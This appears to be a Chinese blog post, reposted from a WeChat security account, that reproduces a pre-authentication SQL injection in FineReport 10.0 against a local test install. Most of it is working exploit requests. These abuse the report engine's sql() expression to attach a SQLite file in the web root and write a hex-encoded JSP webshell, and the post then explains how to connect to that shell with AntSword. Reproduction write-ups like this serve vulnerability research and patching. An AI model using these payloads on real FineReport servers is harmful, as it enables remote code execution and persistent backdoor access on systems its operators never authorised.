环境搭建

从官网上下载环境

https://www.finereport.com/product/download/redirect?version=windows_x64_10.0&token=ydxWtxnCPbX3

安装好后，将webapps目录中 webroot目录 的复制到 tomcat3 中的webapps目录中

接着启动运行 tomcat

接着运行 apache-tomcat-8.5.87binstartup.bat 就成功搭建环境了

第一次运行 先访问 http://127.0.0.1:8080/webroot/decision  要设置密码，默认内置和外置数据库

本地测试报错

配置tomcat server.xml 添加 relaxedQueryChars="[]|{}^\`"<>"

GET /webroot/decision/view/ReportServer?test=&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Fasd1.jsp%27%20as%20asd1%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20asd1.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20asd1.exp2%28data%29%20VALUES%20%28%27123%27%29%3B'),1,1)} HTTP/1.1
Host: 127.0.0.1:8080

本地测试写webshell

/webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('•ATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg;'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('•CREATE TABLE gggggg.exp2(data text);'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('•INSERT INTO gggggg.exp2(data) VALUES (x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d');'),1,1)}

GET /webroot/decision/view/ReportServer?test=&n=/webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Fhelp.jsp%27%20as%20teeeee%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20teeeee.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20teeeee.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: 127.0.0.1:8080

蚁剑进行连接，添加get参数?a=javax.script.ScriptEngineManager，蚁剑连接密码为b，连接类型选择JSPJS

参考

• https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/

• https://mp.weixin.qq.com/s/AliftiLevjz5HB9uL0DOqQ

原文始发于微信公众号（安全逐梦人）：帆软报表最新前台SQL漏洞复现